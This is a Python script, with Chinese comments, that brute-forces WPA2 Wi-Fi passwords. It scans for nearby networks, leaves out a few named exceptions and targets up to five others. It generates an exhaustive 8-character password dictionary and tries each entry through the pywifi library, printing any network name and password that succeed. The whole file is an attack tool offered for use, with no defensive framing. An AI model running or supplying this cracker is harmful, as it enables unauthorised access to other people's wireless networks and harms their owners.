#! encoding:utf-8
import pywifi
from pywifi import const
import itertools
import time
def getWifi(wifilist, wificount):
wifi = pywifi.PyWiFi() # 抓取網卡接口
ifaces = wifi.interfaces()[0] # 獲取網卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
allwifilist = []
namelist = []
ssidlist = []
for data in bessis:
if data.ssid not in namelist: # 去掉重複的WIFI名稱
namelist.append(data.ssid)
allwifilist.append((data.ssid, data.signal))
sorted(allwifilist, key=lambda st: st[1], reverse=True)
time.sleep(1)
n = 0
if len(allwifilist) is not 0:
for item in allwifilist:
if (item[0] not in ssidlist) & (item[0] not in wifilist):
n = n + 1
if n <= wificount:
ssidlist.append(item[0])
allwifilist.sort(reverse=True)
print(allwifilist)
return ssidlist
def getport():
wifi = pywifi.PyWiFi() # 抓取網卡接口
ifaces = wifi.interfaces()[0] # 獲取網卡
ifaces.disconnect() # 斷開無限網卡連接
return ifaces
def testconnect(ifaces, ssidname, password):
profile = pywifi.Profile() # 創建wifi連接文件
profile.ssid = ssidname # 定義wifissid
profile.auth = const.AUTH_ALG_OPEN # 網卡的開放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
profile.key = password # wifi密碼
ifaces.remove_all_network_profiles() # 刪除其他所有配置文件
tmp_profile = ifaces.add_network_profile(profile) # 加載配置文件
ifaces.connect(tmp_profile) # 連接wifi
time.sleep(5) # 停留5秒連接時間
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def tryconnect(wifinamelist):
# 生成常用的密碼字典
words_num = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,./;?"
word = itertools.product(words_num, repeat=8)
dic = open("C:\WIFI密碼字典.txt", "w")
for i in word:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
# 獲取密碼字典組合嘗試連接
ifaces = getport()
files = open(r"C:\WIFI密碼字典.txt", 'r')
while True:
try:
password = files.readline()
password = password.strip('\n')
if not password:
break
for wifiname in wifinamelist:
print("正在嘗試鏈接:" + wifiname + "," +"密碼:" + password)
if testconnect(ifaces, wifiname, password):
print("Wifi賬號:" + wifiname + ",Wifi密碼:" + password)
wifinamelist.remove(wifiname)
break
if not wifinamelist:
break
except:
continue
files.close()
if __name__ == '__main__':
wifinames_e = ["YCH", "Vrapile"] #排除某個WiFi名稱不被破解,比如YCH
wifinames = getWifi(wifinames_e, 5)
print(wifinames)
tryconnect(wifinames)